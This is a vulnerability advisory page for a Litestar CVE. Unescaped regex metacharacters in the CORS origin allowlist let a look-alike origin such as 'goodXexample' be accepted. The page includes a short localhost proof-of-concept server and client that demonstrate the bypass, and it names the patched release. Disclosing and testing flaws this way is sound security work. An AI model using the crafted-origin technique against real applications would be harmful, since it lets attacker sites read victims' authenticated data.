CVE-2026-25478High· 7.4▾ TwilightLitestar's CORS origin allowlist has a bypass due to unescaped regex metacharacters in allowed origins
▾ Twilight zone — High severity, or a signal on a lesser flaw
impact 40.7 · likelihood 0.1 · exploitation 0
Need a working PoC? Pro members can cast a request and our team develops one — it lands right here.
Exploit-prediction probability, daily snapshots since Jul 13.
Disclosure to exploitation, from the record and what we observed since indexing it.
Disclosed via OSV
Last analysed / modified upstream
0.4%
0.4% → 0.4%
CORS origin validation can be bypassed because the allowed-origins allowlist is compiled into a regex without escaping metacharacters (notably .). An allowed origin like https://good.example can match https://goodXexample, resulting in Access-Control-Allow-Origin being set for an untrusted origin
CORSConfig.allowed_origins_regex is constructed using a regex built from configured allowlist values and used with fullmatch() for validation. Because metacharacters are not escaped, a malicious origin can match unexpectedly. The check relies on allowed_origins_regex.fullmatch(origin).
Server (poc_cors_server.py)
from litestar import Litestar, get
from litestar.config.cors import CORSConfig
@get("/c")
async def c() -> str:
return "ok"
cors = CORSConfig(
allow_origins=["https://good.example"],
allow_credentials=True,
)
app = Litestar([c], cors_config=cors)
uvicorn poc_cors_server:app --host 127.0.0.1 --port 8002
Client (poc_cors_client.py)
import http.client
def req(origin: str) -> tuple[int, str | None]:
c = http.client.HTTPConnection("127.0.0.1", 8002, timeout=3)
c.request("GET", "/c", headers={"Origin": origin, "Host": "example.com"})
r = c.getresponse()
r.read()
acao = r.getheader("Access-Control-Allow-Origin")
c.close()
return r.status, acao
print("evil:", req("https://evil.example"))
print("bypass:", req("https://goodXexample"))
Expected (vulnerable behavior):
Origin: https://evil.example → no ACAO Origin: https://goodXexample → ACAO: https://goodxexample/ (bypass)
Type: CORS policy bypass (cross-origin data exposure risk) Who is impacted: apps using CORS allowlists to restrict browser cross-origin reads. If allow_credentials=True and authenticated endpoints return sensitive data, an attacker-controlled site can potentially read responses in a victim’s browser session.
litestar >= 2.19.0, < 2.20.0Upgrade to a patched release:
litestar 2.20.0Connected by shared product, vendor, weakness, or advisory.
CVE-2026-25480Medium· 6.5Litestar's FileStore key canonicalization collisions allow response cache mixup/poisoning (ASCII ord + Unicode NFKD)
CVE-2026-25479Medium· 6.5Litestar's AllowedHosts has a validation bypass due to unescaped regex metacharacters in configured host patterns
CVE-2025-59152High· 7.5Litestar X-Forwarded-For Header Spoofing Vulnerability Enables Rate Limit Evasion
CVE-2024-52581High· 7.5Litestar allows unbounded resource consumption (DoS vulnerability)
CVE-2024-32982High· 8.2Litestar and Starlite vulnerable to Path Traversal
CVE-2026-48060High· 8.1Litestar has HTML Injection Through its CSRF Token